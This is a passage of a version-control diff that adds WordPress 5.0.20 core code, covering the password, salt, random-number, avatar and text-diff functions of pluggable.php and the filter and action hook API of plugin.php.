+			if ( defined( $const ) && constant( $const ) && empty( $duplicated_keys[ constant( $const ) ] ) ) {
+				$values[ $type ] = constant( $const );
+			} elseif ( ! $values[ $type ] ) {
+				$values[ $type ] = get_site_option( "{$scheme}_{$type}" );
+				if ( ! $values[ $type ] ) {
+					$values[ $type ] = wp_generate_password( 64, true, true );
+					update_site_option( "{$scheme}_{$type}", $values[ $type ] );
+				}
+			}
+		}
+	} else {
+		if ( ! $values['key'] ) {
+			$values['key'] = get_site_option( 'secret_key' );
+			if ( ! $values['key'] ) {
+				$values['key'] = wp_generate_password( 64, true, true );
+				update_site_option( 'secret_key', $values['key'] );
+			}
+		}
+		$values['salt'] = hash_hmac( 'md5', $scheme, $values['key'] );
+	}
+
+	$cached_salts[ $scheme ] = $values['key'] . $values['salt'];
+
+	/** This filter is documented in wp-includes/pluggable.php */
+	return apply_filters( 'salt', $cached_salts[ $scheme ], $scheme );
+}
+endif;
+
+if ( !function_exists('wp_hash') ) :
+/**
+ * Get hash of given string.
+ *
+ * @since 2.0.3
+ *
+ * @param string $data   Plain text to hash
+ * @param string $scheme Authentication scheme (auth, secure_auth, logged_in, nonce)
+ * @return string Hash of $data
+ */
+function wp_hash($data, $scheme = 'auth') {
+	$salt = wp_salt($scheme);
+
+	return hash_hmac('md5', $data, $salt);
+}
+endif;
+
+if ( !function_exists('wp_hash_password') ) :
+/**
+ * Create a hash (encrypt) of a plain text password.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5.0
+ *
+ * @global PasswordHash $wp_hasher PHPass object
+ *
+ * @param string $password Plain text user password to hash
+ * @return string The hash string of the password
+ */
+function wp_hash_password($password) {
+	global $wp_hasher;
+
+	if ( empty($wp_hasher) ) {
+		require_once( ABSPATH . WPINC . '/class-phpass.php');
+		// By default, use the portable hash from phpass
+		$wp_hasher = new PasswordHash(8, true);
+	}
+
+	return $wp_hasher->HashPassword( trim( $password ) );
+}
+endif;
+
+if ( !function_exists('wp_check_password') ) :
+/**
+ * Checks the plaintext password against the encrypted Password.
+ *
+ * Maintains compatibility between old version and the new cookie authentication
+ * protocol using PHPass library. The $hash parameter is the encrypted password
+ * and the function compares the plain text password when encrypted similarly
+ * against the already encrypted password to see if they match.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * @since 2.5.0
+ *
+ * @global PasswordHash $wp_hasher PHPass object used for checking the password
+ *	against the $hash + $password
+ * @uses PasswordHash::CheckPassword
+ *
+ * @param string     $password Plaintext user's password
+ * @param string     $hash     Hash of the user's password to check against.
+ * @param string|int $user_id  Optional. User ID.
+ * @return bool False, if the $password does not match the hashed password
+ */
+function wp_check_password($password, $hash, $user_id = '') {
+	global $wp_hasher;
+
+	// If the hash is still md5...
+	if ( strlen($hash) <= 32 ) {
+		$check = hash_equals( $hash, md5( $password ) );
+		if ( $check && $user_id ) {
+			// Rehash using new hash.
+			wp_set_password($password, $user_id);
+			$hash = wp_hash_password($password);
+		}
+
+		/**
+		 * Filters whether the plaintext password matches the encrypted password.
+		 *
+		 * @since 2.5.0
+		 *
+		 * @param bool       $check    Whether the passwords match.
+		 * @param string     $password The plaintext password.
+		 * @param string     $hash     The hashed password.
+		 * @param string|int $user_id  User ID. Can be empty.
+		 */
+		return apply_filters( 'check_password', $check, $password, $hash, $user_id );
+	}
+
+	// If the stored hash is longer than an MD5, presume the
+	// new style phpass portable hash.
+	if ( empty($wp_hasher) ) {
+		require_once( ABSPATH . WPINC . '/class-phpass.php');
+		// By default, use the portable hash from phpass
+		$wp_hasher = new PasswordHash(8, true);
+	}
+
+	$check = $wp_hasher->CheckPassword($password, $hash);
+
+	/** This filter is documented in wp-includes/pluggable.php */
+	return apply_filters( 'check_password', $check, $password, $hash, $user_id );
+}
+endif;
+
+if ( !function_exists('wp_generate_password') ) :
+/**
+ * Generates a random password drawn from the defined set of characters.
+ *
+ * @since 2.5.0
+ *
+ * @param int  $length              Optional. The length of password to generate. Default 12.
+ * @param bool $special_chars       Optional. Whether to include standard special characters.
+ *                                  Default true.
+ * @param bool $extra_special_chars Optional. Whether to include other special characters.
+ *                                  Used when generating secret keys and salts. Default false.
+ * @return string The random password.
+ */
+function wp_generate_password( $length = 12, $special_chars = true, $extra_special_chars = false ) {
+	$chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
+	if ( $special_chars )
+		$chars .= '!@#$%^&*()';
+	if ( $extra_special_chars )
+		$chars .= '-_ []{}<>~`+=,.;:/?|';
+
+	$password = '';
+	for ( $i = 0; $i < $length; $i++ ) {
+		$password .= substr($chars, wp_rand(0, strlen($chars) - 1), 1);
+	}
+
+	/**
+	 * Filters the randomly-generated password.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $password The generated password.
+	 */
+	return apply_filters( 'random_password', $password );
+}
+endif;
+
+if ( !function_exists('wp_rand') ) :
+/**
+ * Generates a random number
+ *
+ * @since 2.6.2
+ * @since 4.4.0 Uses PHP7 random_int() or the random_compat library if available.
+ *
+ * @global string $rnd_value
+ * @staticvar string $seed
+ * @staticvar bool $external_rand_source_available
+ *
+ * @param int $min Lower limit for the generated number
+ * @param int $max Upper limit for the generated number
+ * @return int A random number between min and max
+ */
+function wp_rand( $min = 0, $max = 0 ) {
+	global $rnd_value;
+
+	// Some misconfigured 32bit environments (Entropy PHP, for example) truncate integers larger than PHP_INT_MAX to PHP_INT_MAX rather than overflowing them to floats.
+	$max_random_number = 3000000000 === 2147483647 ? (float) "4294967295" : 4294967295; // 4294967295 = 0xffffffff
+
+	// We only handle Ints, floats are truncated to their integer value.
+	$min = (int) $min;
+	$max = (int) $max;
+
+	// Use PHP's CSPRNG, or a compatible method
+	static $use_random_int_functionality = true;
+	if ( $use_random_int_functionality ) {
+		try {
+			$_max = ( 0 != $max ) ? $max : $max_random_number;
+			// wp_rand() can accept arguments in either order, PHP cannot.
+			$_max = max( $min, $_max );
+			$_min = min( $min, $_max );
+			$val = random_int( $_min, $_max );
+			if ( false !== $val ) {
+				return absint( $val );
+			} else {
+				$use_random_int_functionality = false;
+			}
+		} catch ( Error $e ) {
+			$use_random_int_functionality = false;
+		} catch ( Exception $e ) {
+			$use_random_int_functionality = false;
+		}
+	}
+
+	// Reset $rnd_value after 14 uses
+	// 32(md5) + 40(sha1) + 40(sha1) / 8 = 14 random numbers from $rnd_value
+	if ( strlen($rnd_value) < 8 ) {
+		if ( defined( 'WP_SETUP_CONFIG' ) )
+			static $seed = '';
+		else
+			$seed = get_transient('random_seed');
+		$rnd_value = md5( uniqid(microtime() . mt_rand(), true ) . $seed );
+		$rnd_value .= sha1($rnd_value);
+		$rnd_value .= sha1($rnd_value . $seed);
+		$seed = md5($seed . $rnd_value);
+		if ( ! defined( 'WP_SETUP_CONFIG' ) && ! defined( 'WP_INSTALLING' ) ) {
+			set_transient( 'random_seed', $seed );
+		}
+	}
+
+	// Take the first 8 digits for our value
+	$value = substr($rnd_value, 0, 8);
+
+	// Strip the first eight, leaving the remainder for the next call to wp_rand().
+	$rnd_value = substr($rnd_value, 8);
+
+	$value = abs(hexdec($value));
+
+	// Reduce the value to be within the min - max range
+	if ( $max != 0 )
+		$value = $min + ( $max - $min + 1 ) * $value / ( $max_random_number + 1 );
+
+	return abs(intval($value));
+}
+endif;
+
+if ( !function_exists('wp_set_password') ) :
+/**
+ * Updates the user's password with a new encrypted one.
+ *
+ * For integration with other applications, this function can be overwritten to
+ * instead use the other package password checking algorithm.
+ *
+ * Please note: This function should be used sparingly and is really only meant for single-time
+ * application. Leveraging this improperly in a plugin or theme could result in an endless loop
+ * of password resets if precautions are not taken to ensure it does not execute on every page load.
+ *
+ * @since 2.5.0
+ *
+ * @global wpdb $wpdb WordPress database abstraction object.
+ *
+ * @param string $password The plaintext new user password
+ * @param int    $user_id  User ID
+ */
+function wp_set_password( $password, $user_id ) {
+	global $wpdb;
+
+	$hash = wp_hash_password( $password );
+	$wpdb->update($wpdb->users, array('user_pass' => $hash, 'user_activation_key' => ''), array('ID' => $user_id) );
+
+	wp_cache_delete($user_id, 'users');
+}
+endif;
+
+if ( !function_exists( 'get_avatar' ) ) :
+/**
+ * Retrieve the avatar `<img>` tag for a user, email address, MD5 hash, comment, or post.
+ *
+ * @since 2.5.0
+ * @since 4.2.0 Optional `$args` parameter added.
+ *
+ * @param mixed $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+ *                           user email, WP_User object, WP_Post object, or WP_Comment object.
+ * @param int    $size       Optional. Height and width of the avatar image file in pixels. Default 96.
+ * @param string $default    Optional. URL for the default image or a default type. Accepts '404'
+ *                           (return a 404 instead of a default image), 'retro' (8bit), 'monsterid'
+ *                           (monster), 'wavatar' (cartoon face), 'indenticon' (the "quilt"),
+ *                           'mystery', 'mm', or 'mysteryman' (The Oyster Man), 'blank' (transparent GIF),
+ *                           or 'gravatar_default' (the Gravatar logo). Default is the value of the
+ *                           'avatar_default' option, with a fallback of 'mystery'.
+ * @param string $alt        Optional. Alternative text to use in &lt;img&gt; tag. Default empty.
+ * @param array  $args       {
+ *     Optional. Extra arguments to retrieve the avatar.
+ *
+ *     @type int          $height        Display height of the avatar in pixels. Defaults to $size.
+ *     @type int          $width         Display width of the avatar in pixels. Defaults to $size.
+ *     @type bool         $force_default Whether to always show the default image, never the Gravatar. Default false.
+ *     @type string       $rating        What rating to display avatars up to. Accepts 'G', 'PG', 'R', 'X', and are
+ *                                       judged in that order. Default is the value of the 'avatar_rating' option.
+ *     @type string       $scheme        URL scheme to use. See set_url_scheme() for accepted values.
+ *                                       Default null.
+ *     @type array|string $class         Array or string of additional classes to add to the &lt;img&gt; element.
+ *                                       Default null.
+ *     @type bool         $force_display Whether to always show the avatar - ignores the show_avatars option.
+ *                                       Default false.
+ *     @type string       $extra_attr    HTML attributes to insert in the IMG element. Is not sanitized. Default empty.
+ * }
+ * @return false|string `<img>` tag for the user's avatar. False on failure.
+ */
+function get_avatar( $id_or_email, $size = 96, $default = '', $alt = '', $args = null ) {
+	$defaults = array(
+		// get_avatar_data() args.
+		'size'          => 96,
+		'height'        => null,
+		'width'         => null,
+		'default'       => get_option( 'avatar_default', 'mystery' ),
+		'force_default' => false,
+		'rating'        => get_option( 'avatar_rating' ),
+		'scheme'        => null,
+		'alt'           => '',
+		'class'         => null,
+		'force_display' => false,
+		'extra_attr'    => '',
+	);
+
+	if ( empty( $args ) ) {
+		$args = array();
+	}
+
+	$args['size']    = (int) $size;
+	$args['default'] = $default;
+	$args['alt']     = $alt;
+
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( empty( $args['height'] ) ) {
+		$args['height'] = $args['size'];
+	}
+	if ( empty( $args['width'] ) ) {
+		$args['width'] = $args['size'];
+	}
+
+	if ( is_object( $id_or_email ) && isset( $id_or_email->comment_ID ) ) {
+		$id_or_email = get_comment( $id_or_email );
+	}
+
+	/**
+	 * Filters whether to retrieve the avatar URL early.
+	 *
+	 * Passing a non-null value will effectively short-circuit get_avatar(), passing
+	 * the value through the {@see 'get_avatar'} filter and returning early.
+	 *
+	 * @since 4.2.0
+	 *
+	 * @param string $avatar      HTML for the user's avatar. Default null.
+	 * @param mixed  $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
+	 * @param array  $args        Arguments passed to get_avatar_url(), after processing.
+	 */
+	$avatar = apply_filters( 'pre_get_avatar', null, $id_or_email, $args );
+
+	if ( ! is_null( $avatar ) ) {
+		/** This filter is documented in wp-includes/pluggable.php */
+		return apply_filters( 'get_avatar', $avatar, $id_or_email, $args['size'], $args['default'], $args['alt'], $args );
+	}
+
+	if ( ! $args['force_display'] && ! get_option( 'show_avatars' ) ) {
+		return false;
+	}
+
+	$url2x = get_avatar_url( $id_or_email, array_merge( $args, array( 'size' => $args['size'] * 2 ) ) );
+
+	$args = get_avatar_data( $id_or_email, $args );
+
+	$url = $args['url'];
+
+	if ( ! $url || is_wp_error( $url ) ) {
+		return false;
+	}
+
+	$class = array( 'avatar', 'avatar-' . (int) $args['size'], 'photo' );
+
+	if ( ! $args['found_avatar'] || $args['force_default'] ) {
+		$class[] = 'avatar-default';
+	}
+
+	if ( $args['class'] ) {
+		if ( is_array( $args['class'] ) ) {
+			$class = array_merge( $class, $args['class'] );
+		} else {
+			$class[] = $args['class'];
+		}
+	}
+
+	$avatar = sprintf(
+		"<img alt='%s' src='%s' srcset='%s' class='%s' height='%d' width='%d' %s/>",
+		esc_attr( $args['alt'] ),
+		esc_url( $url ),
+		esc_url( $url2x ) . ' 2x',
+		esc_attr( join( ' ', $class ) ),
+		(int) $args['height'],
+		(int) $args['width'],
+		$args['extra_attr']
+	);
+
+	/**
+	 * Filters the avatar to retrieve.
+	 *
+	 * @since 2.5.0
+	 * @since 4.2.0 The `$args` parameter was added.
+	 *
+	 * @param string $avatar      &lt;img&gt; tag for the user's avatar.
+	 * @param mixed  $id_or_email The Gravatar to retrieve. Accepts a user_id, gravatar md5 hash,
+	 *                            user email, WP_User object, WP_Post object, or WP_Comment object.
+	 * @param int    $size        Square avatar width and height in pixels to retrieve.
+	 * @param string $default     URL for the default image or a default type. Accepts '404', 'retro', 'monsterid',
+	 *                            'wavatar', 'indenticon','mystery' (or 'mm', or 'mysteryman'), 'blank', or 'gravatar_default'.
+	 *                            Default is the value of the 'avatar_default' option, with a fallback of 'mystery'.
+	 * @param string $alt         Alternative text to use in the avatar image tag. Default empty.
+	 * @param array  $args        Arguments passed to get_avatar_data(), after processing.
+	 */
+	return apply_filters( 'get_avatar', $avatar, $id_or_email, $args['size'], $args['default'], $args['alt'], $args );
+}
+endif;
+
+if ( !function_exists( 'wp_text_diff' ) ) :
+/**
+ * Displays a human readable HTML representation of the difference between two strings.
+ *
+ * The Diff is available for getting the changes between versions. The output is
+ * HTML, so the primary use is for displaying the changes. If the two strings
+ * are equivalent, then an empty string will be returned.
+ *
+ * The arguments supported and can be changed are listed below.
+ *
+ * 'title' : Default is an empty string. Titles the diff in a manner compatible
+ *		with the output.
+ * 'title_left' : Default is an empty string. Change the HTML to the left of the
+ *		title.
+ * 'title_right' : Default is an empty string. Change the HTML to the right of
+ *		the title.
+ *
+ * @since 2.6.0
+ *
+ * @see wp_parse_args() Used to change defaults to user defined settings.
+ * @uses Text_Diff
+ * @uses WP_Text_Diff_Renderer_Table
+ *
+ * @param string       $left_string  "old" (left) version of string
+ * @param string       $right_string "new" (right) version of string
+ * @param string|array $args         Optional. Change 'title', 'title_left', and 'title_right' defaults.
+ * @return string Empty string if strings are equivalent or HTML with differences.
+ */
+function wp_text_diff( $left_string, $right_string, $args = null ) {
+	$defaults = array( 'title' => '', 'title_left' => '', 'title_right' => '' );
+	$args = wp_parse_args( $args, $defaults );
+
+	if ( ! class_exists( 'WP_Text_Diff_Renderer_Table', false ) )
+		require( ABSPATH . WPINC . '/wp-diff.php' );
+
+	$left_string  = normalize_whitespace($left_string);
+	$right_string = normalize_whitespace($right_string);
+
+	$left_lines  = explode("\n", $left_string);
+	$right_lines = explode("\n", $right_string);
+	$text_diff = new Text_Diff($left_lines, $right_lines);
+	$renderer  = new WP_Text_Diff_Renderer_Table( $args );
+	$diff = $renderer->render($text_diff);
+
+	if ( !$diff )
+		return '';
+
+	$r  = "<table class='diff'>\n";
+
+	if ( ! empty( $args[ 'show_split_view' ] ) ) {
+		$r .= "<col class='content diffsplit left' /><col class='content diffsplit middle' /><col class='content diffsplit right' />";
+	} else {
+		$r .= "<col class='content' />";
+	}
+
+	if ( $args['title'] || $args['title_left'] || $args['title_right'] )
+		$r .= "<thead>";
+	if ( $args['title'] )
+		$r .= "<tr class='diff-title'><th colspan='4'>$args[title]</th></tr>\n";
+	if ( $args['title_left'] || $args['title_right'] ) {
+		$r .= "<tr class='diff-sub-title'>\n";
+		$r .= "\t<td></td><th>$args[title_left]</th>\n";
+		$r .= "\t<td></td><th>$args[title_right]</th>\n";
+		$r .= "</tr>\n";
+	}
+	if ( $args['title'] || $args['title_left'] || $args['title_right'] )
+		$r .= "</thead>\n";
+
+	$r .= "<tbody>\n$diff\n</tbody>\n";
+	$r .= "</table>";
+
+	return $r;
+}
+endif;
Index: /tags/5.0.20/src/wp-includes/plugin.php
===================================================================
--- /tags/5.0.20/src/wp-includes/plugin.php	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/plugin.php	(revision 56912)
@@ -0,0 +1,919 @@
+<?php
+/**
+ * The plugin API is located in this file, which allows for creating actions
+ * and filters and hooking functions, and methods. The functions or methods will
+ * then be run when the action or filter is called.
+ *
+ * The API callback examples reference functions, but can be methods of classes.
+ * To hook methods, you'll need to pass an array one of two ways.
+ *
+ * Any of the syntaxes explained in the PHP documentation for the
+ * {@link https://secure.php.net/manual/en/language.pseudo-types.php#language.types.callback 'callback'}
+ * type are valid.
+ *
+ * Also see the {@link https://codex.wordpress.org/Plugin_API Plugin API} for
+ * more information and examples on how to use a lot of these functions.
+ *
+ * This file should have no external dependencies.
+ *
+ * @package WordPress
+ * @subpackage Plugin
+ * @since 1.5.0
+ */
+
+// Initialize the filter globals.
+require( dirname( __FILE__ ) . '/class-wp-hook.php' );
+
+/** @var WP_Hook[] $wp_filter */
+global $wp_filter, $wp_actions, $wp_current_filter;
+
+if ( $wp_filter ) {
+	$wp_filter = WP_Hook::build_preinitialized_hooks( $wp_filter );
+} else {
+	$wp_filter = array();
+}
+
+if ( ! isset( $wp_actions ) )
+	$wp_actions = array();
+
+if ( ! isset( $wp_current_filter ) )
+	$wp_current_filter = array();
+
+/**
+ * Hook a function or method to a specific filter action.
+ *
+ * WordPress offers filter hooks to allow plugins to modify
+ * various types of internal data at runtime.
+ *
+ * A plugin can modify data by binding a callback to a filter hook. When the filter
+ * is later applied, each bound callback is run in order of priority, and given
+ * the opportunity to modify a value by returning a new value.
+ *
+ * The following example shows how a callback function is bound to a filter hook.
+ *
+ * Note that `$example` is passed to the callback, (maybe) modified, then returned:
+ *
+ *     function example_callback( $example ) {
+ *         // Maybe modify $example in some way.
+ *         return $example;
+ *     }
+ *     add_filter( 'example_filter', 'example_callback' );
+ *
+ * Bound callbacks can accept from none to the total number of arguments passed as parameters
+ * in the corresponding apply_filters() call.
+ *
+ * In other words, if an apply_filters() call passes four total arguments, callbacks bound to
+ * it can accept none (the same as 1) of the arguments or up to four. The important part is that
+ * the `$accepted_args` value must reflect the number of arguments the bound callback *actually*
+ * opted to accept. If no arguments were accepted by the callback that is considered to be the
+ * same as accepting 1 argument. For example:
+ *
+ *     // Filter call.
+ *     $value = apply_filters( 'hook', $value, $arg2, $arg3 );
+ *
+ *     // Accepting zero/one arguments.
+ *     function example_callback() {
+ *         ...
+ *         return 'some value';
+ *     }
+ *     add_filter( 'hook', 'example_callback' ); // Where $priority is default 10, $accepted_args is default 1.
+ *
+ *     // Accepting two arguments (three possible).
+ *     function example_callback( $value, $arg2 ) {
+ *         ...
+ *         return $maybe_modified_value;
+ *     }
+ *     add_filter( 'hook', 'example_callback', 10, 2 ); // Where $priority is 10, $accepted_args is 2.
+ *
+ * *Note:* The function will return true whether or not the callback is valid.
+ * It is up to you to take care. This is done for optimization purposes, so
+ * everything is as quick as possible.
+ *
+ * @since 0.71
+ *
+ * @global array $wp_filter      A multidimensional array of all hooks and the callbacks hooked to them.
+ *
+ * @param string   $tag             The name of the filter to hook the $function_to_add callback to.
+ * @param callable $function_to_add The callback to be run when the filter is applied.
+ * @param int      $priority        Optional. Used to specify the order in which the functions
+ *                                  associated with a particular action are executed. Default 10.
+ *                                  Lower numbers correspond with earlier execution,
+ *                                  and functions with the same priority are executed
+ *                                  in the order in which they were added to the action.
+ * @param int      $accepted_args   Optional. The number of arguments the function accepts. Default 1.
+ * @return true
+ */
+function add_filter( $tag, $function_to_add, $priority = 10, $accepted_args = 1 ) {
+	global $wp_filter;
+	if ( ! isset( $wp_filter[ $tag ] ) ) {
+		$wp_filter[ $tag ] = new WP_Hook();
+	}
+	$wp_filter[ $tag ]->add_filter( $tag, $function_to_add, $priority, $accepted_args );
+	return true;
+}
+
+/**
+ * Check if any filter has been registered for a hook.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_filter Stores all of the filters.
+ *
+ * @param string        $tag               The name of the filter hook.
+ * @param callable|bool $function_to_check Optional. The callback to check for. Default false.
+ * @return false|int If $function_to_check is omitted, returns boolean for whether the hook has
+ *                   anything registered. When checking a specific function, the priority of that
+ *                   hook is returned, or false if the function is not attached. When using the
+ *                   $function_to_check argument, this function may return a non-boolean value
+ *                   that evaluates to false (e.g.) 0, so use the === operator for testing the
+ *                   return value.
+ */
+function has_filter($tag, $function_to_check = false) {
+	global $wp_filter;
+
+	if ( ! isset( $wp_filter[ $tag ] ) ) {
+		return false;
+	}
+
+	return $wp_filter[ $tag ]->has_filter( $tag, $function_to_check );
+}
+
+/**
+ * Call the functions added to a filter hook.
+ *
+ * The callback functions attached to filter hook $tag are invoked by calling
+ * this function. This function can be used to create a new filter hook by
+ * simply calling this function with the name of the new hook specified using
+ * the $tag parameter.
+ *
+ * The function allows for additional arguments to be added and passed to hooks.
+ *
+ *     // Our filter callback function
+ *     function example_callback( $string, $arg1, $arg2 ) {
+ *         // (maybe) modify $string
+ *         return $string;
+ *     }
+ *     add_filter( 'example_filter', 'example_callback', 10, 3 );
+ *
+ *     /*
+ *      * Apply the filters by calling the 'example_callback' function we
+ *      * "hooked" to 'example_filter' using the add_filter() function above.
+ *      * - 'example_filter' is the filter hook $tag
+ *      * - 'filter me' is the value being filtered
+ *      * - $arg1 and $arg2 are the additional arguments passed to the callback.
+ *     $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 );
+ *
+ * @since 0.71
+ *
+ * @global array $wp_filter         Stores all of the filters.
+ * @global array $wp_current_filter Stores the list of current filters with the current one last.
+ *
+ * @param string $tag     The name of the filter hook.
+ * @param mixed  $value   The value on which the filters hooked to `$tag` are applied on.
+ * @param mixed  $var,... Additional variables passed to the functions hooked to `$tag`.
+ * @return mixed The filtered value after all hooked functions are applied to it.
+ */
+function apply_filters( $tag, $value ) {
+	global $wp_filter, $wp_current_filter;
+
+	$args = array();
+
+	// Do 'all' actions first.
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$args = func_get_args();
+		_wp_call_all_hook($args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return $value;
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	if ( empty($args) )
+		$args = func_get_args();
+
+	// don't pass the tag name to WP_Hook
+	array_shift( $args );
+
+	$filtered = $wp_filter[ $tag ]->apply_filters( $value, $args );
+
+	array_pop( $wp_current_filter );
+
+	return $filtered;
+}
+
+/**
+ * Execute functions hooked on a specific filter hook, specifying arguments in an array.
+ *
+ * @since 3.0.0
+ *
+ * @see apply_filters() This function is identical, but the arguments passed to the
+ * functions hooked to `$tag` are supplied using an array.
+ *
+ * @global array $wp_filter         Stores all of the filters
+ * @global array $wp_current_filter Stores the list of current filters with the current one last
+ *
+ * @param string $tag  The name of the filter hook.
+ * @param array  $args The arguments supplied to the functions hooked to $tag.
+ * @return mixed The filtered value after all hooked functions are applied to it.
+ */
+function apply_filters_ref_array($tag, $args) {
+	global $wp_filter, $wp_current_filter;
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return $args[0];
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	$filtered = $wp_filter[ $tag ]->apply_filters( $args[0], $args );
+
+	array_pop( $wp_current_filter );
+
+	return $filtered;
+}
+
+/**
+ * Removes a function from a specified filter hook.
+ *
+ * This function removes a function attached to a specified filter hook. This
+ * method can be used to remove default functions attached to a specific filter
+ * hook and possibly replace them with a substitute.
+ *
+ * To remove a hook, the $function_to_remove and $priority arguments must match
+ * when the hook was added. This goes for both filters and actions. No warning
+ * will be given on removal failure.
+ *
+ * @since 1.2.0
+ *
+ * @global array $wp_filter         Stores all of the filters
+ *
+ * @param string   $tag                The filter hook to which the function to be removed is hooked.
+ * @param callable $function_to_remove The name of the function which should be removed.
+ * @param int      $priority           Optional. The priority of the function. Default 10.
+ * @return bool    Whether the function existed before it was removed.
+ */
+function remove_filter( $tag, $function_to_remove, $priority = 10 ) {
+	global $wp_filter;
+
+	$r = false;
+	if ( isset( $wp_filter[ $tag ] ) ) {
+		$r = $wp_filter[ $tag ]->remove_filter( $tag, $function_to_remove, $priority );
+		if ( ! $wp_filter[ $tag ]->callbacks ) {
+			unset( $wp_filter[ $tag ] );
+		}
+	}
+
+	return $r;
+}
+
+/**
+ * Remove all of the hooks from a filter.
+ *
+ * @since 2.7.0
+ *
+ * @global array $wp_filter  Stores all of the filters
+ *
+ * @param string   $tag      The filter to remove hooks from.
+ * @param int|bool $priority Optional. The priority number to remove. Default false.
+ * @return true True when finished.
+ */
+function remove_all_filters( $tag, $priority = false ) {
+	global $wp_filter;
+
+	if ( isset( $wp_filter[ $tag ]) ) {
+		$wp_filter[ $tag ]->remove_all_filters( $priority );
+		if ( ! $wp_filter[ $tag ]->has_filters() ) {
+			unset( $wp_filter[ $tag ] );
+		}
+	}
+
+	return true;
+}
+
+/**
+ * Retrieve the name of the current filter or action.
+ *
+ * @since 2.5.0
+ *
+ * @global array $wp_current_filter Stores the list of current filters with the current one last
+ *
+ * @return string Hook name of the current filter or action.
+ */
+function current_filter() {
+	global $wp_current_filter;
+	return end( $wp_current_filter );
+}
+
+/**
+ * Retrieve the name of the current action.
+ *
+ * @since 3.9.0
+ *
+ * @return string Hook name of the current action.
+ */
+function current_action() {
+	return current_filter();
+}
+
+/**
+ * Retrieve the name of a filter currently being processed.
+ *
+ * The function current_filter() only returns the most recent filter or action
+ * being executed. did_action() returns true once the action is initially
+ * processed.
+ *
+ * This function allows detection for any filter currently being
+ * executed (despite not being the most recent filter to fire, in the case of
+ * hooks called from hook callbacks) to be verified.
+ *
+ * @since 3.9.0
+ *
+ * @see current_filter()
+ * @see did_action()
+ * @global array $wp_current_filter Current filter.
+ *
+ * @param null|string $filter Optional. Filter to check. Defaults to null, which
+ *                            checks if any filter is currently being run.
+ * @return bool Whether the filter is currently in the stack.
+ */
+function doing_filter( $filter = null ) {
+	global $wp_current_filter;
+
+	if ( null === $filter ) {
+		return ! empty( $wp_current_filter );
+	}
+
+	return in_array( $filter, $wp_current_filter );
+}
+
+/**
+ * Retrieve the name of an action currently being processed.
+ *
+ * @since 3.9.0
+ *
+ * @param string|null $action Optional. Action to check. Defaults to null, which checks
+ *                            if any action is currently being run.
+ * @return bool Whether the action is currently in the stack.
+ */
+function doing_action( $action = null ) {
+	return doing_filter( $action );
+}
+
+/**
+ * Hooks a function on to a specific action.
+ *
+ * Actions are the hooks that the WordPress core launches at specific points
+ * during execution, or when specific events occur. Plugins can specify that
+ * one or more of its PHP functions are executed at these points, using the
+ * Action API.
+ *
+ * @since 1.2.0
+ *
+ * @param string   $tag             The name of the action to which the $function_to_add is hooked.
+ * @param callable $function_to_add The name of the function you wish to be called.
+ * @param int      $priority        Optional. Used to specify the order in which the functions
+ *                                  associated with a particular action are executed. Default 10.
+ *                                  Lower numbers correspond with earlier execution,
+ *                                  and functions with the same priority are executed
+ *                                  in the order in which they were added to the action.
+ * @param int      $accepted_args   Optional. The number of arguments the function accepts. Default 1.
+ * @return true Will always return true.
+ */
+function add_action($tag, $function_to_add, $priority = 10, $accepted_args = 1) {
+	return add_filter($tag, $function_to_add, $priority, $accepted_args);
+}
+
+/**
+ * Execute functions hooked on a specific action hook.
+ *
+ * This function invokes all functions attached to action hook `$tag`. It is
+ * possible to create new action hooks by simply calling this function,
+ * specifying the name of the new hook using the `$tag` parameter.
+ *
+ * You can pass extra arguments to the hooks, much like you can with apply_filters().
+ *
+ * @since 1.2.0
+ *
+ * @global array $wp_filter         Stores all of the filters
+ * @global array $wp_actions        Increments the amount of times action was triggered.
+ * @global array $wp_current_filter Stores the list of current filters with the current one last
+ *
+ * @param string $tag     The name of the action to be executed.
+ * @param mixed  $arg,... Optional. Additional arguments which are passed on to the
+ *                        functions hooked to the action. Default empty.
+ */
+function do_action($tag, $arg = '') {
+	global $wp_filter, $wp_actions, $wp_current_filter;
+
+	if ( ! isset($wp_actions[$tag]) )
+		$wp_actions[$tag] = 1;
+	else
+		++$wp_actions[$tag];
+
+	// Do 'all' actions first
+	if ( isset($wp_filter['all']) ) {
+		$wp_current_filter[] = $tag;
+		$all_args = func_get_args();
+		_wp_call_all_hook($all_args);
+	}
+
+	if ( !isset($wp_filter[$tag]) ) {
+		if ( isset($wp_filter['all']) )
+			array_pop($wp_current_filter);
+		return;
+	}
+
+	if ( !isset($wp_filter['all']) )
+		$wp_current_filter[] = $tag;
+
+	$args = array();
+	if ( is_array($arg) && 1 == count($arg) && isset($arg[0]) && is_object($arg[0]) ) // array(&$this)
+		$args[] =& $arg[0];
+	else
+		$args[] = $arg;
+	for ( $a = 2, $num = func_num_args(); $a < $num; $a++ )
+		$args[] = func_get_arg($a);
+
+	$wp_filter[ $tag ]->do_action( $args );
+
+	array_pop($wp_current_filter);
+}
+
+/**
+ * Retrieve the number of times an action is fired.
+ *
+ * @since 2.1.0
+ *
+ * @global array $wp_actions Increments the amount of times action was triggered.
+ *
+ * @param string $tag The name of the action hook.
